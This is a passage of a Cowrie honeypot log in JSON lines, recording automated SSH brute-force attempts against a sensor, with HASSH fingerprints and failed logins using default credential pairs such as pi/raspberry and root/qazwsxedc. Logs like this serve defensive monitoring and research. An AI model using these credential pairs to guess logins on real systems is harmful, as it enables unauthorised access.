0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:02.206723Z","src_ip":"176.65.132.129","session":"ec757ccd0e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:02.665332Z","src_ip":"176.65.132.129","session":"ec757ccd0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:03.752520Z","src_ip":"176.65.132.129","session":"ec757ccd0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56854,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f3e3556ddd5","protocol":"ssh","message":"New connection: 172.237.20.62:56854 (159.203.135.109:22) [session: 5f3e3556ddd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.014170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.019305Z","src_ip":"172.237.20.62","session":"5f3e3556ddd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.190598Z","src_ip":"172.237.20.62","session":"5f3e3556ddd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56496,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4f1e47b6ed8","protocol":"ssh","message":"New connection: 176.65.132.129:56496 (159.203.135.109:22) [session: c4f1e47b6ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.570086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.575246Z","src_ip":"176.65.132.129","session":"c4f1e47b6ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.657480Z","src_ip":"176.65.132.129","session":"c4f1e47b6ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.685861Z","src_ip":"172.237.20.62","session":"5f3e3556ddd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:05.914078Z","src_ip":"176.65.132.129","session":"c4f1e47b6ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:06.847571Z","src_ip":"172.237.20.62","session":"5f3e3556ddd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:07.002002Z","src_ip":"176.65.132.129","session":"c4f1e47b6ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.41962242126465,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:08.113113Z","src_ip":"45.58.127.90","session":"7ce1dc39bd76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50284,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e1715d1767d","protocol":"ssh","message":"New connection: 176.65.132.129:50284 (159.203.135.109:22) [session: 2e1715d1767d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:08.962547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:08.967765Z","src_ip":"176.65.132.129","session":"2e1715d1767d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:09.051857Z","src_ip":"176.65.132.129","session":"2e1715d1767d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:09.301821Z","src_ip":"176.65.132.129","session":"2e1715d1767d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:10.492709Z","src_ip":"176.65.132.129","session":"2e1715d1767d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50290,"dst_ip":"159.203.135.109","dst_port":22,"session":"31c9602f088b","protocol":"ssh","message":"New connection: 176.65.132.129:50290 (159.203.135.109:22) [session: 31c9602f088b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:12.330525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:12.335421Z","src_ip":"176.65.132.129","session":"31c9602f088b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:12.418353Z","src_ip":"176.65.132.129","session":"31c9602f088b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:12.908283Z","src_ip":"176.65.132.129","session":"31c9602f088b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:13.993009Z","src_ip":"176.65.132.129","session":"31c9602f088b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35686,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a9a2438f755","protocol":"ssh","message":"New connection: 176.65.132.129:35686 (159.203.135.109:22) [session: 6a9a2438f755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:15.764499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:15.768989Z","src_ip":"176.65.132.129","session":"6a9a2438f755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:15.850921Z","src_ip":"176.65.132.129","session":"6a9a2438f755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":32796,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9a112049265","protocol":"ssh","message":"New connection: 172.237.20.62:32796 (159.203.135.109:22) [session: e9a112049265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:15.998589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:16.011462Z","src_ip":"172.237.20.62","session":"e9a112049265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:16.097181Z","src_ip":"176.65.132.129","session":"6a9a2438f755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:16.172043Z","src_ip":"172.237.20.62","session":"e9a112049265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:16.649755Z","src_ip":"172.237.20.62","session":"e9a112049265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:17.182645Z","src_ip":"176.65.132.129","session":"6a9a2438f755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:17.811496Z","src_ip":"172.237.20.62","session":"e9a112049265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35690,"dst_ip":"159.203.135.109","dst_port":22,"session":"32139b5d6dca","protocol":"ssh","message":"New connection: 176.65.132.129:35690 (159.203.135.109:22) [session: 32139b5d6dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:19.150508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:19.155176Z","src_ip":"176.65.132.129","session":"32139b5d6dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:19.238906Z","src_ip":"176.65.132.129","session":"32139b5d6dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:19.496728Z","src_ip":"176.65.132.129","session":"32139b5d6dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:20.582664Z","src_ip":"176.65.132.129","session":"32139b5d6dca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.51904535293579,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:22.388330Z","src_ip":"45.58.127.90","session":"87ee6bcd667c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35694,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa332a66a3ea","protocol":"ssh","message":"New connection: 176.65.132.129:35694 (159.203.135.109:22) [session: aa332a66a3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:22.677856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:22.702603Z","src_ip":"176.65.132.129","session":"aa332a66a3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:22.762510Z","src_ip":"176.65.132.129","session":"aa332a66a3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:23.081085Z","src_ip":"176.65.132.129","session":"aa332a66a3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:44:24.165610Z","src_ip":"176.65.132.129","session":"aa332a66a3ea","protocol":"ssh"}
